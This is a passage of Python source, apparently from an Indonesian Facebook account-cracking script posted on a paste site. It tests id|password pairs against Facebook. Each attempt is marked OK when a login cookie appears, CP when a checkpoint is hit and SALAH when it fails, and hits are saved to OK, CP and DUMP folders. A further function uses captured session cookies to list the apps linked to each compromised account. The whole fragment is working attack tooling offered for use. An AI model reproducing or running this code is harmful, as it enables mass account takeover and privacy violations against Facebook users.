- else:
- for opsii in opsi:
- print('\r%s---> %s%s'%(kk,opsii.text,x))
- except:
- print('\r%s++++ %s|%s ----> CP %s'%(b,id,pw,x))
- print('\r%s---> Tidak Dapat Mengecek Opsi%s'%(u,x))
- elif "c_user" in ses.cookies.get_dict().keys():
- print('\r%s++++ %s|%s ----> OK %s'%(h,id,pw,x))
- else:
- print('\r%s++++ %s|%s ----> SALAH %s'%(x,id,pw,x))
- love+=1
- except requests.exceptions.ConnectionError:
- print('')
- li = '# KONEKSI INTERNET BERMASALAH, PERIKSA & COBA LAGI'
- sol().print(mark(li, style='red'))
- exit()
- dah = '# DONE'
- sol().print(mark(dah, style='green'))
- exit()
- #----------------------[ CEK-APLIKASI ]---------------------#
- def cek_apk(session,cookie):
- w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":cookie}).text
- sop = BeautifulSoup(w,"html.parser")
- x = sop.find("form",method="post")
- game = [i.text for i in x.find_all("h3")]
- if len(game)==0:
- print(f"\n {N}[{M}!{N}] opshh tidak ada aplikasi aktif di akun ini.")
- else:
- for i in range(len(game)):
- print(" %s%s. %s%s"%(H,i+1,game[i].replace("Ditambahkan pada"," Ditambahkan pada"),N))
- w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":cookie}).text
- sop = BeautifulSoup(w,"html.parser")
- x = sop.find("form",method="post")
- game = [i.text for i in x.find_all("h3")]
- if len(game)==0:
- print(f"\n {N}[{M}!{N}] opshh tidak ada aplikasi kadaluarsa di akun ini.")
- else:
- for i in range(len(game)):
- print(" %s%s. %s%s"%(K,i+1,game[i].replace("Kedaluwarsa"," Kedaluwarsa"),N))
- #-----------------------[ SYSTEM-CONTROL ]--------------------#
- if __name__=='__main__':
- try:os.system('git pull')
- except:pass
- try:os.mkdir('OK')
- except:pass
- try:os.mkdir('CP')
- except:pass
- try:os.mkdir('DUMP')
- except:pass
- try:os.system('touch .prox.txt')
- except:pass
- login()
Add Comment
Please, Sign In to add comment